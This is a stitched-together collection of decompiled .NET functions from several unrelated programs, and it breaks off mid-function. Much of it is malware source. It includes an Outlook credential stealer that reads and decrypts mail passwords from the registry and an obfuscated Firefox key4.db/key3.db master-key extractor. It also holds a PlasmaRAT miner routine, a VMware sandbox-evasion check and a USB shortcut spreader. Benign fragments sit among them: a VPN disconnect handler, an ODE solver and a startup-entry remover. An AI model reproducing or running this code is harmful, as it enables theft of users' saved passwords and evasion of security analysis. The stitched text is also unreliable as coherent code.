// Token: 0x060000B3 RID: 179 RVA: 0x0000CC70 File Offset: 0x0000AE70 internal static string GetOutlookPasswords() { string text = ""; string[] array = new string[] { "IMAP Password", "POP3 Password", "HTTP Password", "SMTP Password" }; string text2 = ""; RegistryKey[] array2 = new RegistryKey[] { Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"), Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"), Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows Messaging Subsystem\\Profiles\\9375CFF0413111d3B88A00104B2A6676"), Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676") }; string result; try { foreach (RegistryKey registryKey in array2) { if (registryKey != null) { foreach (string name in registryKey.GetSubKeyNames()) { using (RegistryKey registryKey2 = registryKey.OpenSubKey(name)) { if (registryKey2.GetValue("Email") != null | (registryKey2.GetValue("IMAP Password") != null | registryKey2.GetValue("POP3 Password") != null | registryKey2.GetValue("HTTP Password") != null | registryKey2.GetValue("SMTP Password") != null)) { if (Operators.CompareString(text, "", false) == 0) { text = "Outlook: \r\n"; } foreach (string name2 in array) { if (registryKey2.GetValue(name2) != null) { byte[] encryptedData = (byte[])registryKey2.GetValue(name2); text2 = OutlookRecover.decryptOutlookPassword(encryptedData); } } object objectValue = RuntimeHelpers.GetObjectValue(registryKey2.GetValue("Email")); byte[] bytes; try { object utf = Encoding.UTF8; Type type = null; string memberName = "GetBytes"; object[] array5 = new object[] { RuntimeHelpers.GetObjectValue(objectValue) }; object[] arguments = array5; string[] argumentNames = null; Type[] typeArguments = null; bool[] array6 = new bool[] { true }; object obj = NewLateBinding.LateGet(utf, type, memberName, arguments, argumentNames, typeArguments, array6); if (array6[0]) { objectValue = RuntimeHelpers.GetObjectValue(array5[0]); } bytes = (byte[])obj; } catch (Exception ex) { bytes = (byte[])objectValue; } object objectValue2 = RuntimeHelpers.GetObjectValue(registryKey2.GetValue("SMTP Server")); byte[] bytes2; if (objectValue2 != null) { try { bytes2 = (byte[])registryKey2.GetValue("SMTP Server"); goto IL_29F; } catch (Exception ex2) { object utf2 = Encoding.UTF8; Type type2 = null; string memberName2 = "GetBytes"; object[] array7 = new object[] { RuntimeHelpers.GetObjectValue(objectValue2) }; object[] arguments2 = array7; string[] argumentNames2 = null; Type[] typeArguments2 = null; bool[] array6 = new bool[] { true }; object obj2 = NewLateBinding.LateGet(utf2, type2, memberName2, arguments2, argumentNames2, typeArguments2, array6); if (array6[0]) { objectValue2 = RuntimeHelpers.GetObjectValue(array7[0]); } bytes2 = (byte[])obj2; goto IL_29F; } } bytes2 = Encoding.UTF8.GetBytes("Nothing"); IL_29F: text = text + "SMTP: " + Encoding.UTF8.GetString(bytes2).Replace("\0", "") + "\r\n"; text = text + "User: "******"") + "\r\n"; text = text + "Pass: "******"") + "\r\n\r\n"; } } } } } result = text; } catch (Exception ex3) { } return(result); }
private string method_2(object object_0) { string result; if (object_0 is float[] | object_0 is byte[] | object_0 is ushort[]) { string text = "["; object obj = new object(); object loopObj = new object(); if (ObjectFlowControl.ForLoopControl.ForLoopInitObj(obj, 0, Operators.SubtractObject(NewLateBinding.LateGet(object_0, null, "Length", new object[0], null, null, null), 2), 1, ref loopObj, ref obj)) { do { if (object_0 is float[]) { text = text + this.method_0(Convert.ToSingle(NewLateBinding.LateIndexGet(object_0, new object[] { obj }, null))) + ","; } else { text = Convert.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(text, NewLateBinding.LateIndexGet(object_0, new object[] { obj }, null)), ",")); } }while (ObjectFlowControl.ForLoopControl.ForNextCheckObj(obj, loopObj, ref obj)); } if (object_0 is float[]) { text = text + this.method_0(Convert.ToSingle(NewLateBinding.LateIndexGet(object_0, new object[] { Operators.SubtractObject(NewLateBinding.LateGet(object_0, null, "Length", new object[0], null, null, null), 1) }, null))) + "]"; } else { text = Convert.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(text, NewLateBinding.LateIndexGet(object_0, new object[] { Operators.SubtractObject(NewLateBinding.LateGet(object_0, null, "Length", new object[0], null, null, null), 1) }, null)), "]")); } result = text; } else { if (object_0 is float) { result = this.method_0(Convert.ToSingle(object_0)); } else { result = object_0.ToString(); } } return(result); }
// Token: 0x06000091 RID: 145 RVA: 0x000094EC File Offset: 0x000076EC public static void RemoveMiner() { int num; int num4; object obj2; try { IL_00: ProjectData.ClearProjectError(); num = 1; IL_07: int num2 = 2; string setting = Interaction.GetSetting("Microsoft", "Sysinternals", "id", ""); IL_23: num2 = 3; if (Operators.CompareString(setting, string.Empty, false) == 0) { goto IL_FC; } IL_37: num2 = 4; Interaction.SaveSetting("Microsoft", "Sysinternals", "id", string.Empty); IL_52: num2 = 5; IEnumerator enumerator = ((IEnumerable)NewLateBinding.LateGet(Interaction.GetObject("winmgmts:", null), null, "ExecQuery", new object[] { "Select Name from Win32_Process Where Name = '" + Miner.MinerExecutable + ".exe'" }, null, null, null)).GetEnumerator(); while (enumerator.MoveNext()) { object obj = enumerator.Current; object objectValue = RuntimeHelpers.GetObjectValue(obj); IL_A8: num2 = 6; NewLateBinding.LateCall(objectValue, null, "Terminate", new object[0], null, null, null, true); IL_C2: num2 = 7; } if (enumerator is IDisposable) { (enumerator as IDisposable).Dispose(); } IL_E2: num2 = 8; Miner.RanMiner = false; IL_EA: num2 = 9; PlasmaRAT.TalktoChannel("CPU Miner: Stopped Successfully.", string.Empty); IL_FC: goto IL_17B; IL_FE: int num3 = num4 + 1; num4 = 0; @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num3); IL_13A: goto IL_170; IL_13C: num4 = num2; @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num); IL_14D :; } catch when(endfilter(obj2 is Exception & num != 0 & num4 == 0)) { Exception ex = (Exception)obj3; goto IL_13C; } IL_170: throw ProjectData.CreateProjectError(-2146828237); IL_17B: if (num4 != 0) { ProjectData.ClearProjectError(); } }
public void Close() { if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateGet(this.GlobalOBJ, (Type)null, "InvokeRequired", new object[0], (string[])null, (Type[])null, (bool[])null), (object)true, false)) { NewLateBinding.LateCall(this.GlobalOBJ, (Type)null, "BeginInvoke", new object[2] { (object)new RasDialUC.d_Close(this.Close), (object)new object[0] }, (string[])null, (Type[])null, (bool[])null, true); } else { this.MonitorDisconnect = RasDialUC.myMonitorDisconnect.StartDisconnect; if (!Information.IsNothing((object)this.tmrMonitorDisconnect)) { this.tmrMonitorDisconnect.Stop(); this.tmrMonitorDisconnect.Elapsed -= new ElapsedEventHandler(this.tmrMonitorDisconnect_Elapsed); this.tmrMonitorDisconnect = (Timer)null; } if (MyProject.Forms.frmMain_RasDialex.AutoConnectRasDial) { this.tmrMonitorDisconnect = new Timer(); this.tmrMonitorDisconnect.AutoReset = false; this.tmrMonitorDisconnect.Elapsed += new ElapsedEventHandler(this.tmrMonitorDisconnect_Elapsed); this.tmrMonitorDisconnect.Interval = 15000.0; this.tmrMonitorDisconnect.Start(); } switch (this.VPN_Reboot_Method) { case 0: if (!this.OptionsOK) { this.ErrorSend(100040); break; } if (this.GetStatus() == 0) { this.send_Disconnected(); break; } if (this.MainHeader == IntPtr.Zero) { this.send_Disconnected(); break; } int num = RasDialUC.RasHangUp(this.MainHeader); if (num == 0) { break; } this.ErrorSend(checked (num + 70000)); break; case 1: try { string str1 = Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\rasdial.exe"; Process process = new Process(); process.StartInfo.FileName = str1; string str2 = Strings.Trim(MyProject.Forms.frmMain_RasDialex.txtEntryName.Text) + " /disconnect"; process.StartInfo.Arguments = str2; process.StartInfo.WindowStyle = !MyProject.Forms.frmMain_RasDialex.VisibleCMD ? ProcessWindowStyle.Hidden : ProcessWindowStyle.Normal; process.Start(); _FUNCTION.clsTXT fn = _FUNCTION.FN; string sText = str1 + " " + str2; fn.TXT(ref sText); break; } catch (Exception ex) { ProjectData.SetProjectError(ex); Exception exception = ex; _FUNCTION.clsTXT fn = _FUNCTION.FN; string sText = "RasDialEx Error: " + exception.Message; fn.TXT(ref sText); ProjectData.ClearProjectError(); break; } case 2: try { string externalProgram = MyProject.Forms.frmMain_RasDialex.ExternalProgram; new Process() { StartInfo = { FileName = externalProgram, Arguments = MyProject.Forms.frmMain_RasDialex.ExternalProgram_ParamDisconnect, WindowStyle = (!MyProject.Forms.frmMain_RasDialex.VisibleCMD ? ProcessWindowStyle.Hidden : ProcessWindowStyle.Normal) } }.Start(); _FUNCTION.clsTXT fn = _FUNCTION.FN; string sText = externalProgram + " " + MyProject.Forms.frmMain_RasDialex.ExternalProgram_ParamDisconnect; fn.TXT(ref sText); break; } catch (Exception ex) { ProjectData.SetProjectError(ex); Exception exception = ex; _FUNCTION.clsTXT fn = _FUNCTION.FN; string sText = "RasDialEx Error: " + exception.Message; fn.TXT(ref sText); ProjectData.ClearProjectError(); break; } } } }
private bool VMW() { return(Conversions.ToBoolean(NewLateBinding.LateGet(NewLateBinding.LateGet(MyProject.Computer.Registry.LocalMachine.GetValue(@"HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0", "Identifier"), null, "ToUpper", new object[0], null, null, null), null, "Contains", new object[] { "VMWARE" }, null, null, null)) || (Operators.ConditionalCompareObjectEqual(MyProject.Computer.Registry.LocalMachine.GetValue(@"SOFTWARE\\VMware, Inc.\\VMware Tools", ""), "noValueButYesKey", false) || (Conversions.ToBoolean(NewLateBinding.LateGet(NewLateBinding.LateGet(MyProject.Computer.Registry.LocalMachine.GetValue(@"HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 1\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0", "Identifier"), null, "ToUpper", new object[0], null, null, null), null, "Contains", new object[] { "VMWARE" }, null, null, null)) || (Conversions.ToBoolean(NewLateBinding.LateGet(NewLateBinding.LateGet(MyProject.Computer.Registry.LocalMachine.GetValue(@"HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 2\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0", "Identifier"), null, "ToUpper", new object[0], null, null, null), null, "Contains", new object[] { "VMWARE" }, null, null, null)) || (Conversions.ToBoolean(NewLateBinding.LateGet(NewLateBinding.LateGet(MyProject.Computer.Registry.LocalMachine.GetValue(@"SYSTEM\\ControlSet001\\Services\\Disk\\Enum", "0"), null, "ToUpper", new object[0], null, null, null), null, "Contains", new object[] { "vmware".ToUpper() }, null, null, null)) || (Conversions.ToBoolean(NewLateBinding.LateGet(NewLateBinding.LateGet(MyProject.Computer.Registry.LocalMachine.GetValue(@"SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000", "DriverDesc"), null, "ToUpper", new object[0], null, null, null), null, "Contains", new object[] { "VMWARE" }, null, null, null)) || (Conversions.ToBoolean(NewLateBinding.LateGet(NewLateBinding.LateGet(MyProject.Computer.Registry.LocalMachine.GetValue(@"SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\Settings", "Device Description"), null, "ToUpper", new object[0], null, null, null), null, "Contains", new object[] { "VMWARE" }, null, null, null)) || Conversions.ToBoolean(NewLateBinding.LateGet(NewLateBinding.LateGet(MyProject.Computer.Registry.LocalMachine.GetValue(@"SOFTWARE\\VMware, Inc.\\VMware Tools", "InstallPath"), null, "ToUpper", new object[0], null, null, null), null, "Contains", new object[] { @"C:\\PROGRAM FILES\\VMWARE\\VMWARE TOOLS\\" }, null, null, null))))))))); }
// Token: 0x06000176 RID: 374 RVA: 0x00030E90 File Offset: 0x0002F090 public static string jmw(byte[] jmq, byte[] jmz, byte[] jno) { string result; try { object instance = new TripleDESCryptoServiceProvider(); NewLateBinding.LateSet(instance, null, "Key", new object[] { jmz }, null, null); for (;;) { IL_17A: uint num = 358085816u; for (;;) { uint num2; switch ((num2 = (num ^ 445561275u)) % 4u) { case 0u: goto IL_17A; case 2u: { NewLateBinding.LateSet(instance, null, <Module>.smethod_strings_decryptor(288928 -> "Padding")), new object[] { PaddingMode.None }, null, null); object instance2 = NewLateBinding.LateGet(instance, null, <Module>.smethod_strings_decryptor(289032 -> "CreateDecryptor")), new object[0], null, null, null); Type type = null; string memberName = <Module>.smethod_strings_decryptor(288976 -> "TransformFinalBlock")); object[] array = new object[] { jmq, 0, jmq.Length }; object[] arguments = array; string[] argumentNames = null; Type[] typeArguments = null; bool[] array2 = new bool[] { true, false, false }; object obj = NewLateBinding.LateGet(instance2, type, memberName, arguments, argumentNames, typeArguments, array2); if (array2[0]) { jmq = (byte[])Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array[0]), typeof(byte[])); } byte[] bytes = (byte[])obj; result = Encoding.UTF8.GetString(bytes); num = 950430u; continue; } case 3u: NewLateBinding.LateSet(instance, null, <Module>.smethod_strings_decryptor(288856 -> "Mode")), new object[] { CipherMode.CBC }, null, null); NewLateBinding.LateSet(instance, null, "IV", new object[] { jno }, null, null); num = (num2 * 3720301735u ^ 3246904256u); continue; } goto Block_3; } } Block_3:; } catch (Exception ex) { result = null; } return result; }
private void method_0(object sender, CancelEventArgs e) { string urlString = Conversions.ToString(NewLateBinding.LateGet(NewLateBinding.LateGet(NewLateBinding.LateGet(sender, null, "Document", new object[0], null, null, null), null, "ActiveElement", new object[0], null, null, null), null, "GetAttribute", new object[] { "href" }, null, null, null)); this.WebBrowser1.Navigate(urlString); e.Cancel = true; }
// Token: 0x06000177 RID: 375 RVA: 0x00031050 File Offset: 0x0002F250 public static byte[] jnx(byte[] jnw, byte[] jnq, byte[] jnz) { byte[] result; try { object instance = new TripleDESCryptoServiceProvider(); NewLateBinding.LateSet(instance, null, "Key", new object[] { jnq }, null, null); NewLateBinding.LateSet(instance, null, <Module>.smethod_strings_decryptor(289080 -> "Mode")), new object[] { CipherMode.CBC }, null, null); NewLateBinding.LateSet(instance, null, "IV", new object[] { jnz }, null, null); NewLateBinding.LateSet(instance, null, <Module>.smethod_strings_decryptor(288640 -> "Padding")), new object[] { PaddingMode.None }, null, null); for (;;) { IL_152: int num = 1742263625; for (;;) { switch ((num ^ 752070594) % 3) { case 0: goto IL_152; case 2: { object instance2 = NewLateBinding.LateGet(instance, null, <Module>.smethod_strings_decryptor(288616 -> "CreateDecryptor")), new object[0], null, null, null); Type type = null; string memberName = <Module>.smethod_strings_decryptor(288688 -> "TransformFinalBlock")); object[] array = new object[] { jnw, 0, jnw.Length }; object[] arguments = array; string[] argumentNames = null; Type[] typeArguments = null; bool[] array2 = new bool[] { true, false, false }; object obj = NewLateBinding.LateGet(instance2, type, memberName, arguments, argumentNames, typeArguments, array2); if (array2[0]) { jnw = (byte[])Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array[0]), typeof(byte[])); } byte[] array3 = (byte[])obj; result = array3; num = 1641555903; continue; } } goto Block_3; } } Block_3:; } catch (Exception ex) { result = null; } return result; }
private void EJL2R(int Fidx) { Array instance = Array.CreateInstance(typeof(double), 12); int num1 = 1; do { NewLateBinding.LateIndexSet((object)instance, new object[2] { (object)num1, (object)this.Y0 }, (string[])null); ++num1; }while (num1 <= 11); double num2 = this.EPS / 3.0; int num3; do { double x0 = this.X0; double num4 = this.Y0; this.N = 2 * this.N; double num5 = (this.XN - this.X0) / (double)this.N; double num6 = num5 / 2.0; int num7 = (int)Math.Round((double)this.N / 10.0); int num8 = 0; num3 = 0; int num9 = 1; int n = this.N; for (int index = 1; index <= n; ++index) { ++num8; double X = x0; x0 += num5; double Y = num4; switch (Fidx) { case 3: double num10 = this.calcF3(X, Y); num4 = Y + num6 * (num10 + this.calcF3(x0, Y + num5 * num10)); break; case 5: double num11 = this.calcF5(X, Y); num4 = Y + num6 * (num11 + this.calcF5(x0, Y + num5 * num11)); break; case 12: double num12 = this.calcF12(X, Y); num4 = Y + num6 * (num12 + this.calcF12(x0, Y + num5 * num12)); break; case 16: double num13 = this.calcF16(X, Y); num4 = Y + num6 * (num13 + this.calcF16(x0, Y + num5 * num13)); break; } if (num8 == num7) { num8 = 0; ++num9; if (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateGet((object)null, typeof(Math), "Abs", new object[1] { Operators.SubtractObject(NewLateBinding.LateIndexGet((object)instance, new object[1] { (object)num9 }, (string[])null), (object)num4) }, (string[])null, (Type[])null, (bool[])null), (object)num2, false)) { ++num3; } NewLateBinding.LateIndexSet((object)instance, new object[2] { (object)num9, (object)num4 }, (string[])null); } } }while (num3 > 0 & this.N > 11); int num14 = 1; do { NewLateBinding.LateIndexSet((object)this.Y, new object[2] { (object)num14, RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object)instance, new object[1] { (object)num14 }, (string[])null)) }, (string[])null); ++num14; }while (num14 <= 11); }
// Token: 0x06000170 RID: 368 RVA: 0x0002F990 File Offset: 0x0002DB90 public static byte[] hou(string hov) { if (File.Exists(hov + <Module>.smethod_strings_decryptor(290624 -> "key4.db")))) { string baseName = hov + <Module>.smethod_strings_decryptor(290600 -> "key4.db")); try { jwq jwq; byte[] result; try { jwq = new jwq(baseName); } catch (Exception ex) { for (;;) { IL_76: uint num = 397499132u; for (;;) { uint num2; switch ((num2 = (num ^ 864882355u)) % 3u) { case 0u: goto IL_76; case 1u: result = null; num = (num2 * 1771186742u ^ 998640529u); continue; } goto Block_12; } } Block_12: return result; } if (!jwq.kry(<Module>.smethod_strings_decryptor(290160 -> "metaData")))) { goto IL_104; } goto IL_419; uint num3; byte[] hnp; for (;;) { IL_3B1: uint num2; int num4; jox.hjl hjl; byte[] bytes; object instance; switch ((num2 = (num3 ^ 864882355u)) % 20u) { case 0u: goto IL_C7; case 1u: { byte[] hjn = new byte[0]; num3 = (num2 * 3762620962u ^ 2429759357u); continue; } case 2u: { byte[] hlr; byte[] hlr2; Encoding.Default.GetString(jox.hls.hno(hnp, Encoding.ASCII.GetBytes(""), hlr, hlr2)); num3 = (num2 * 3444158586u ^ 4141135044u); continue; } case 4u: goto IL_206; case 5u: goto IL_19D; case 6u: checked { num4++; } num3 = (num2 * 15138852u ^ 1432410666u); continue; case 7u: { hnp = Encoding.Default.GetBytes(jwq.kuv(0, <Module>.smethod_strings_decryptor(290208 -> "item1")))); byte[] hjn = Encoding.Default.GetBytes(jwq.kuv(0, <Module>.smethod_strings_decryptor(290312 -> "item2")))); num3 = (num2 * 2475399591u ^ 4263075038u); continue; } case 8u: result = null; num3 = (num2 * 1572013394u ^ 3874933492u); continue; case 9u: num4 = 0; num3 = (num2 * 655340772u ^ 3340638214u); continue; case 10u: { Encoding.Default.GetBytes(jwq.kuv(1, <Module>.smethod_strings_decryptor(290360 -> "a102")))); jox.hjz hjz = hjl.hjm(bytes); object hlr3 = hjz.hlp[0].hlp[0].hlp[1].hlp[0].hlr; object hlr4 = hjz.hlp[0].hlp[1].hlr; instance = jox.hls.hno(hnp, Encoding.ASCII.GetBytes(""), (byte[])hlr3, (byte[])hlr4); num3 = (num2 * 1158233609u ^ 3368708756u); continue; } case 11u: goto IL_42D; case 12u: if (Operators.CompareString(jwq.kuv(0, "id"), <Module>.smethod_strings_decryptor(290136 -> "password")), false) == 0) { num3 = (num2 * 3331896414u ^ 3718961892u); continue; } goto IL_206; case 13u: if (num4 > 23) { num3 = (num2 * 3232749855u ^ 3008978758u); continue; } goto IL_19D; case 14u: goto IL_419; case 16u: { byte[] hjn; jox.hjz hjz2 = hjl.hjm(hjn); byte[] hlr = hjz2.hlp[0].hlp[0].hlp[1].hlp[0].hlr; byte[] hlr2 = hjz2.hlp[0].hlp[1].hlr; num3 = (num2 * 1996369276u ^ 2536377065u); continue; } case 17u: goto IL_104; case 18u: result = jox.hls.jly; num3 = (num2 * 685934684u ^ 3095256988u); continue; case 19u: if (!jwq.kry(<Module>.smethod_strings_decryptor(290256 -> "nssPrivate")))) { num3 = (num2 * 3855035416u ^ 1770445472u); continue; } goto IL_C7; } break; IL_C7: bytes = Encoding.Default.GetBytes(jwq.kuv(1, "a11")); num3 = 117202509u; continue; IL_19D: jox.hls.jly[num4] = Conversions.ToByte(NewLateBinding.LateIndexGet(instance, new object[] { num4 }, null)); num3 = 374730853u; continue; IL_206: hjl = new jox.hjl(); num3 = 1330577419u; } return result; IL_42D: return null; IL_104: num3 = 1369271435u; goto IL_3B1; IL_419: hnp = new byte[0]; num3 = 238294990u; goto IL_3B1; } catch (Exception ex2) { byte[] result = null; for (;;) { IL_47F: uint num5 = 1105972921u; for (;;) { uint num2; switch ((num2 = (num5 ^ 864882355u)) % 3u) { case 1u: num5 = (num2 * 2216605151u ^ 2609150475u); continue; case 2u: goto IL_47F; } goto Block_14; } } Block_14: return result; } } if (File.Exists(hov + <Module>.smethod_strings_decryptor(289920 -> "key3.db")))) { try { string fileName = hov + <Module>.smethod_strings_decryptor(289896 -> "key3.db")); byte[] hnp2 = new byte[0]; jox.guz guz = new jox.guz(fileName); string text; try { List<KeyValuePair<string, string>>.Enumerator enumerator = guz.gqz.GetEnumerator(); for (;;) { IL_6B8: uint num6 = 140317870u; for (;;) { uint num2; object instance2; switch ((num2 = (num6 ^ 864882355u)) % 9u) { case 0u: goto IL_5B8; case 1u: num6 = (num2 * 1980930708u ^ 4279062769u); continue; case 2u: goto IL_573; case 3u: goto IL_5A5; case 4u: text = Conversions.ToString(NewLateBinding.LateGet(instance2, null, <Module>.smethod_strings_decryptor(290120 -> "Value")), new object[0], null, null, null)); num6 = (num2 * 954236485u ^ 3232431402u); continue; case 5u: hnp2 = jox.hls.hlt(Conversions.ToString(NewLateBinding.LateGet(NewLateBinding.LateGet(instance2, null, <Module>.smethod_strings_decryptor(289656 -> "Value")), new object[0], null, null, null), null, <Module>.smethod_strings_decryptor(289728 -> "Replace")), new object[] { "-", "" }, null, null, null))); num6 = (num2 * 3518094976u ^ 4163794741u); continue; case 7u: if (Conversions.ToBoolean(Operators.AndObject(Operators.AndObject(Operators.CompareObjectNotEqual(NewLateBinding.LateGet(instance2, null, "Key", new object[0], null, null, null), <Module>.smethod_strings_decryptor(289968 -> "global-salt")), false), Operators.CompareObjectNotEqual(NewLateBinding.LateGet(instance2, null, "Key", new object[0], null, null, null), <Module>.smethod_strings_decryptor(289944 -> "Version")), false)), Operators.CompareObjectNotEqual(NewLateBinding.LateGet(instance2, null, "Key", new object[0], null, null, null), <Module>.smethod_strings_decryptor(290016 -> "password-check")), false)))) { num6 = (num2 * 1792523313u ^ 2652427638u); continue; } goto IL_573; case 8u: goto IL_6B8; } goto Block_23; IL_573: if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateGet(instance2, null, "Key", new object[0], null, null, null), <Module>.smethod_strings_decryptor(290064 -> "global-salt")), false)) { num6 = 125452241u; continue; } IL_5A5: if (!enumerator.MoveNext()) { num6 = 401585206u; continue; } IL_5B8: instance2 = enumerator.Current; num6 = 274233109u; } } Block_23:; } finally { List<KeyValuePair<string, string>>.Enumerator enumerator; ((IDisposable)enumerator).Dispose(); } jox.hjl hjl2 = new jox.hjl(); for (;;) { IL_8FC: uint num7 = 1183966534u; for (;;) { uint num2; jox.hjz hjz5; switch ((num2 = (num7 ^ 864882355u)) % 10u) { case 0u: { byte[] hlr5; jox.hjz hjz3; object obj = jox.hls.hno(hnp2, Encoding.ASCII.GetBytes(""), hlr5, hjz3.hlp[0].hlp[1].hlr); num7 = (num2 * 2480484875u ^ 3271456801u); continue; } case 1u: goto IL_818; case 2u: { object obj; jox.hjz hjz4 = hjl2.hjm((byte[])obj); num7 = (num2 * 2826923615u ^ 243909657u); continue; } case 3u: num7 = (num2 * 2372407598u ^ 2679081814u); continue; case 4u: if (hjz5.hlp[0].hlp[3].hlr.Length > 24) { num7 = (num2 * 38161444u ^ 693730904u); continue; } goto IL_818; case 5u: { jox.hjz hjz3 = hjl2.hjm(jox.hls.hlt(text.Replace("-", ""))); byte[] hlr5 = hjz3.hlp[0].hlp[0].hlp[1].hlp[0].hlr; num7 = (num2 * 2844875169u ^ 1819095484u); continue; } case 6u: goto IL_8FC; case 8u: { jox.hjz hjz4; hjz5 = hjl2.hjm(hjz4.hlp[0].hlp[2].hlr); num7 = (num2 * 674668373u ^ 779619615u); continue; } case 9u: Array.Copy(hjz5.hlp[0].hlp[3].hlr, checked(hjz5.hlp[0].hlp[3].hlr.Length - 24), jox.hls.jly, 0, 24); num7 = (num2 * 555175777u ^ 3259694769u); continue; } goto Block_18; IL_818: jox.hls.jly = hjz5.hlp[0].hlp[3].hlr; num7 = 1859690296u; } } Block_18: return jox.hls.jly; } catch (Exception ex3) { } return null; } return null; }
// Token: 0x06000893 RID: 2195 RVA: 0x0004314C File Offset: 0x0004134C public void remove() { this.TT.SelectionStart = this.TT.TextLength; this.TT.AppendText("==========================================================\r\nRemove started " + DateTime.Now.ToString() + "\r\n==========================================================\r\n"); this.ChProgressbar1.Value = 0; this.Lv1.Items.Clear(); this.ChProgressbar1.Maximum = this.valueNames.Length; string[] array = this.valueNames; checked { for (int i = 0; i < array.Length; i++) { string text = array[i]; CHProgressbar chProgressbar = this.ChProgressbar1; chProgressbar.Value++; new ListViewItem(); new ListViewItem(); int num = Strings.InStr(Conversions.ToString(Registry.CurrentUser.OpenSubKey(this.keyName).GetValue(text)), "..", CompareMethod.Binary); if (num != 0) { object objectValue = RuntimeHelpers.GetObjectValue(Registry.CurrentUser.OpenSubKey(this.keyName).GetValue(text)); objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(objectValue, null, "replace", new object[] { "\"", "" }, null, null, null)); objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(objectValue, null, "replace", new object[] { " ", "" }, null, null, null)); objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(objectValue, null, "replace", new object[] { "..", "" }, null, null, null)); FileInfo fileInfo = new FileInfo(Conversions.ToString(objectValue)); try { if (this.bacup) { File.Copy(this.startup + "\\" + text + ".exe", Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(this.folder, text), ".exe.dup"))); File.Copy(Conversions.ToString(objectValue), Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(this.folder, fileInfo.Name), ".exe.dup"))); } goto IL_491; } catch (Exception expr_20E) { ProjectData.SetProjectError(expr_20E); ProjectData.ClearProjectError(); goto IL_491; } goto IL_21F; IL_25F: if (File.Exists(this.startup + "\\" + text + ".exe")) { Process[] processesByName = Process.GetProcessesByName(text); for (int j = 0; j < processesByName.Length; j++) { Process process = processesByName[j]; process.Kill(); } } Thread.Sleep(500); if (File.Exists(fileInfo.FullName)) { try { File.Delete(Conversions.ToString(objectValue)); this.TT.AppendText(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject("- Remove file succeedd (", objectValue), ")"), "\r\n"))); } catch (Exception expr_2FE) { ProjectData.SetProjectError(expr_2FE); Exception ex = expr_2FE; this.TT.AppendText("- Remove file succeedd error (" + ex.Message + ")\r\n"); ProjectData.ClearProjectError(); } } if (File.Exists(this.startup + "\\" + text + ".exe")) { try { File.Delete(this.startup + "\\" + text + ".exe"); this.TT.AppendText(string.Concat(new string[] { "- Remove file succeedd (", this.startup, "\\", text, ".exe)\r\n" })); } catch (Exception expr_3B0) { ProjectData.SetProjectError(expr_3B0); Exception ex2 = expr_3B0; this.TT.AppendText("- Remove file error (" + ex2.Message + ")\r\n"); ProjectData.ClearProjectError(); } } try { MyProject.Computer.Registry.CurrentUser.OpenSubKey(this.keyName, true).DeleteValue(text, false); this.TT.AppendText(string.Concat(new string[] { "- Remove RegKey succeedd (", Registry.CurrentUser.OpenSubKey(this.keyName).ToString(), "\\", text, ")\r\n" })); } catch (Exception expr_458) { ProjectData.SetProjectError(expr_458); Exception ex3 = expr_458; this.TT.AppendText("- Remove RegKey error (" + ex3.Message + ")\r\n"); ProjectData.ClearProjectError(); } goto IL_488; IL_491: if (!File.Exists(fileInfo.FullName)) { goto IL_25F; } IL_21F: Process[] processesByName2 = Process.GetProcessesByName(fileInfo.Name.Replace(".exe", "")); for (int k = 0; k < processesByName2.Length; k++) { Process process2 = processesByName2[k]; process2.Kill(); } goto IL_25F; } IL_488 :; } this.TT.ScrollToCaret(); ima.F.sl.Text = "Remove server(s) succeeded.."; this.Lv1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); if (this.Lv1.Items.Count == 0) { this.Button1.Text = "Scan.."; } else if (this.Lv1.Items.Count == 1) { this.Button1.Text = "Remove"; } else { this.Button1.Text = "Remove all"; } } }
private static void CreateShortCut(string TargetName, string ShortCutPath, string ShortCutName, string Icon) { try { USBBOOT.ObjectShell = System.Runtime.CompilerServices.RuntimeHelpers.GetObjectValue(Interaction.CreateObject("WScript.Shell", "")); USBBOOT.ObjectLink = System.Runtime.CompilerServices.RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(USBBOOT.ObjectShell, null, "CreateShortcut", new object[] { ShortCutPath + "\\" + ShortCutName + ".lnk" }, null, null, null)); NewLateBinding.LateSet(USBBOOT.ObjectLink, null, "TargetPath", new object[] { ShortCutPath + "\\" + System.Diagnostics.Process.GetCurrentProcess().MainModule.ModuleName }, null, null); NewLateBinding.LateSet(USBBOOT.ObjectLink, null, "WindowStyle", new object[] { 1 }, null, null); if (Icon == null) { NewLateBinding.LateSet(USBBOOT.ObjectLink, null, "Arguments", new object[] { " " + ShortCutPath + "\\" + TargetName }, null, null); 